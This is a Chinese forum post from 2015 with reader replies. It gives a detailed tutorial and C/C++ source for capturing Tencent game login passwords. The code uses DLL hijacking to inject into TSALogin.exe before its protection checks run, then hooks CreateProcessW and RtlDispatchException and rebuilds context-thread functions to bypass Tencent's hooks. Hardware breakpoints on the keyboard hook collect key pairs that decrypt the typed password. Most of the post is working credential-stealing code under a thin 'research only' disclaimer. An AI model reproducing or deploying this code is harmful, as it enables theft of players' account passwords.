首页
论坛
课程
招聘
[原创]TX游戏登陆密码截取(详细,高清有码)
2015-7-3 11:34 31168

[原创]TX游戏登陆密码截取(详细,高清有码)

2015-7-3 11:34
31168
Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担
此文重点:
 1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
2、安装消息勾子,判断当前输入焦点
3、自己构造ZwSetContextThread,和ZwGetContextThread
4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
5、实现解密


1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件
   因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)

unsigned int  WINAPI _WorkThread(void * lpPram)
{
	TCHAR tcWorkDll[MAX_PATH];
	GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
	*( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
	_stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
	hTestModule=LoadLibrary(tcWorkDll);
	return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH)
	{//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
		if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
		{
			hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
		}
		using namespace AheadLib;
		return Load();
	}
	else if (ul_reason_for_call == DLL_PROCESS_DETACH)
	{
		using namespace AheadLib;
		Free();
	}
	return TRUE;
}

2、工作dll(tencent_Login.dll),Hook CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测

BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
	)
{
	BOOL bRet =FALSE;
	CHAR tcText[MAX_PATH];
	if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
	{
		GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
		return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
			bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
	}
	return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
		bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
}

void StartWork()
{
	
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());

	TCHAR tcText[100];
	TCHAR  lpProcessName[50]={0} ;
	_tcscpy_s(lpProcessName, GetCurProcessName().c_str());

	if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
	{
		DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess);  //HOOK CreateProcess,实现完美注入TSALogin.exe
	}
	if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
	{
		DWORD dwOldProtect;
		//自己构造  ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
		ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
		ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
		ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
		ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);

		VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
		VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);

		*(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
		*(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
		*(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
		*(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread  -(DWORD)g_ZwSetContextThreadZone -5;

		/*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
		OutputDebugString(tcText);*/

		//Hook RtlDispatchException
		ProcessDispatchException(); //设置硬件断点,监视键盘输入

		g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
		OutputDebugString(_T("TSALogin.exe注入成功"));
	}
	DetourTransactionCommit();
}

extern void StartWork();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		g_hMod=hModule;
		StartWork();
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


3、设置硬件断点监视键盘输入, 众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现 加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext)
{
	//好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错
	//g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入
	//把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理
	if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr )
	{
		g_dwEbp = pContext->Ebp;
		g_dwEsp=pContext->Esp;
		g_dwJmpAddr =pContext->Eip+5;
		__asm 
		{
			mov ebp,g_dwEbp;  //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境
			mov esp,g_dwEsp;
		   
			push ebp;         //手动构造栈空间
			mov ebp,esp;
			push [ebp+0x10];  //这3个参数是需要的,注意压栈顺序
			push [ebp+0xC];
			push [ebp+0x8];
			call FilterLowLevelMouseProc;

			mov esp,ebp;   //还原栈空间了
			pop ebp;
		
			//这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败
			push 0x99354893;
			jmp g_dwJmpAddr;
		}
		return TRUE;
	}
	return FALSE;
}ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext )
{
	ULONG uRet = 0;
	if(RtlDispatchException(pExcptRec,pContext)) 
		uRet= 1;
	else
	    uRet= m_fnRtlDispatchException(pExcptRec,pContext);

	return uRet;
}

void ProcessDispatchException()
{
	TCHAR tcText[100];
	DWORD dwOldProtect;
	DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher");
	_stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher);
	OutputDebugString(tcText);
	VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);

	if (dwKiUserExceptionDispatcher)
	{
		while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8)
			dwKiUserExceptionDispatcher++;  //XP~Win7正常,Win8尚无缘得见
		m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher);  //得到原函数地址

		//Hook
		DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5;                
		WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr); 
	}
}


4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了 0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
bool bPlainCase =true;
int  g_Key =0;
void  WINAPI FilterLowLevelMouseProc(
	_In_  int nCode,
	_In_  WPARAM wParam,
	_In_  LPARAM lParam
	)
{
	 if(nCode == HC_ACTION)
	 {
		 PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
		 if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
		 {
			 if( ::GetFocus() == g_hPwd )  //判断是不是在输入密码
			 {
				 if( bPlainCase )  //第一次来的是原始虚键码
				 {
					 if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )  //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9
						 pKdb->vkCode -=48;
					 
					 g_Key=pKdb->vkCode;
					 bPlainCase=false; 
				 }else  //加密的虚键码了
				 {
					 if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
						 pKdb->vkCode -=48;
					 SetKeyPair(pKdb->vkCode,g_Key);  //用std::<map>来保存密码键对,
					 bPlainCase=true;
				 }
			 }
		 }
	 }
}

5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
LRESULT CALLBACK GetMsgProc(__in  int code,__in  WPARAM wParam,__in  LPARAM lParam
	)
{
	if( code == HC_ACTION )
	{
		MSG * pMsg =(MSG*)lParam;

		LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE);
		if( !g_hPwd &&  
			dwStyle & ES_PASSWORD &&
			!( dwStyle&ES_MULTILINE) )
		{
			g_hPwd=pMsg->hwnd;
		}

		if( !g_hKeyboardHook && ::GetFocus() == g_hPwd)
		{
			if( GetModuleHandle(_T("fszwd.dat")) )
				SetMintor();
		}

		if( pMsg->message ==WM_CHAR )  //用户输入的字符(已加密)
		{
			TCHAR tcTetxt[50]={0};
			SHORT sVk=0;
			SHORT sOrgVk=0;
			if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd  )  //同样判断是不是在输入密码
			{
				if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' )    //大写的字母不能直接翻译成虚键码
					sVk =  VkKeyScan(pMsg->wParam+0x20);
				else 
					sVk = VkKeyScan(pMsg->wParam); 
				sOrgVk = GetPlainVkcode(sVk);   //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了
				if( sOrgVk )  //解密
				{
					_stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk);
				}else
					_stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam);
				
			}else
			{
				_stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam);
			}
			OutputDebugString(tcTetxt);
		}
	}
	return CallNextHookEx(0,code,wParam,lParam);
}


到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下
  梦无极,硬件断点 hook的思路是从他的过驱动保护教程教程里面学习的
  yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,

欢迎各位朋友加我交流技术 QQ:1536854253

【公告】看雪招聘大学实习生!看雪20年安全圈的口碑,助你快速成长!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (74)
雪    币: 2617
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
watchsky 活跃值 2015-7-3 12:16
2
0
占个位置
雪    币: 60
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
white、、 活跃值 2015-7-3 12:20
3
0
给赞 给谢,加支持.
雪    币: 2270
活跃值: 活跃值 (629)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
轩辕之风 活跃值 1 2015-7-3 12:24
4
0
帮楼主顶一下!
雪    币: 456
活跃值: 活跃值 (121)
能力值: ( LV9,RANK:165 )
在线值:
发帖
回帖
粉丝
yypEx 活跃值 2015-7-3 12:30
5
0
感谢分享,前排占位
雪    币: 127
活跃值: 活跃值 (276)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
anywhere杨 活跃值 2015-7-3 12:36
6
0
多谢。。。
雪    币: 38
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bnsn 活跃值 2015-7-3 12:39
7
0
你这个简历明显写得不好
雪    币: 127
活跃值: 活跃值 (276)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
anywhere杨 活跃值 2015-7-3 13:03
8
0
随便写写。总要大概先合适呗。这本来就是附带的。
雪    币: 256
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hksuper 活跃值 2015-7-3 13:07
9
0
赞         学习一下
雪    币: 325
活跃值: 活跃值 (47)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
地狱怪客 活跃值 2 2015-7-3 14:04
10
0
肯定会找到好工作
雪    币: 127
活跃值: 活跃值 (276)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
anywhere杨 活跃值 2015-7-3 14:21
11
0
多谢吉言哦
雪    币: 16071
活跃值: 活跃值 (716)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
atompure 活跃值 2015-7-3 16:43
12
0
谢谢分享 !
雪    币: 57
活跃值: 活跃值 (49)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
LOVEZ 活跃值 2015-7-3 16:46
13
0
帮楼主顶一下!
雪    币: 79
活跃值: 活跃值 (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
忧悠 活跃值 2015-7-3 16:56
14
0
帮楼主顶一下哦~
雪    币: 5
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Larpx 活跃值 2015-7-3 17:40
15
0
赞,学习一下
雪    币: 52
活跃值: 活跃值 (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
奉先之灵 活跃值 2015-7-3 18:10
16
0
顶一下楼主1
雪    币: 289
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhuangbx 活跃值 2015-7-3 19:26
17
0
帮顶,学习一下
雪    币: 235
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
我爱菜菜 活跃值 2015-7-3 23:54
18
0
学习学习
雪    币: 4566
活跃值: 活跃值 (4564)
能力值: ( LV17,RANK:787 )
在线值:
发帖
回帖
粉丝
无名侠 活跃值 12 2015-7-4 00:01
19
0
厉害啊!
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
逗比系恶魔 活跃值 2015-7-4 00:27
20
0
帮楼主顶一下
雪    币: 177
活跃值: 活跃值 (341)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 活跃值 4 2015-7-4 02:09
21
0
6666 支持一下,顺便撸主一定会找到好工作的
雪    币: 409
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
VeryCool 活跃值 2015-7-4 07:05
22
0
占个位置
雪    币: 71
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mumaren 活跃值 2015-7-4 08:44
23
0
mark一下
谢谢
雪    币: 100
活跃值: 活跃值 (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
h辉 活跃值 2015-7-4 09:46
24
0
up....
雪    币: 208
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cxqwe 活跃值 2015-7-4 10:25
25
0
感谢分享,学习一下
游客
登录 | 注册 方可回帖
返回